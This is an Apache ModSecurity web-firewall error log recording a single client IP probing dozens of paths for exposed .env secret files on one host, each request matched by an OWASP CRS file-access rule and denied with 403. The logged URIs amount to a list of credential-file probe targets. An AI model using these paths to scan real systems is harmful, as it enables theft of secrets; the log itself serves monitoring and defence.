[Thu Feb 26 01:02:56.433699 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkawAAAAM&quot;]
[Thu Feb 26 01:02:56.433957 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkawAAAAM&quot;]
[Thu Feb 26 01:02:56.434061 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiQAAAAQ&quot;]
[Thu Feb 26 01:02:56.434117 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkawAAAAM&quot;]
[Thu Feb 26 01:02:56.434315 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiQAAAAQ&quot;]
[Thu Feb 26 01:02:56.434474 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiQAAAAQ&quot;]
[Thu Feb 26 01:02:56.458578 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHigAAAAQ&quot;]
[Thu Feb 26 01:02:56.458845 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHigAAAAQ&quot;]
[Thu Feb 26 01:02:56.459002 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHigAAAAQ&quot;]
[Thu Feb 26 01:02:56.464702 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bookchain-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbAAAAAM&quot;]
[Thu Feb 26 01:02:56.464955 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbAAAAAM&quot;]
[Thu Feb 26 01:02:56.465135 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbAAAAAM&quot;]
[Thu Feb 26 01:02:56.496601 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiwAAAAQ&quot;]
[Thu Feb 26 01:02:56.496857 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiwAAAAQ&quot;]
[Thu Feb 26 01:02:56.497014 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHiwAAAAQ&quot;]
[Thu Feb 26 01:02:56.525097 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjAAAAAQ&quot;]
[Thu Feb 26 01:02:56.525345 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjAAAAAQ&quot;]
[Thu Feb 26 01:02:56.525490 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjAAAAAQ&quot;]
[Thu Feb 26 01:02:56.548760 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbgAAAAM&quot;]
[Thu Feb 26 01:02:56.549058 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbgAAAAM&quot;]
[Thu Feb 26 01:02:56.549215 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbgAAAAM&quot;]
[Thu Feb 26 01:02:56.568048 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjQAAAAQ&quot;]
[Thu Feb 26 01:02:56.568342 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjQAAAAQ&quot;]
[Thu Feb 26 01:02:56.568513 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjQAAAAQ&quot;]
[Thu Feb 26 01:02:56.583792 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbwAAAAM&quot;]
[Thu Feb 26 01:02:56.584070 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbwAAAAM&quot;]
[Thu Feb 26 01:02:56.584265 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkbwAAAAM&quot;]
[Thu Feb 26 01:02:56.592633 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back-end/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjgAAAAQ&quot;]
[Thu Feb 26 01:02:56.592900 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjgAAAAQ&quot;]
[Thu Feb 26 01:02:56.593078 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ-NsDf0JOOqB-ib2UlHjgAAAAQ&quot;]
[Thu Feb 26 01:02:56.615923 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcAAAAAM&quot;]
[Thu Feb 26 01:02:56.616189 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ-NsA3HqGC30X9HPoEkcAAAAAM&quot;]
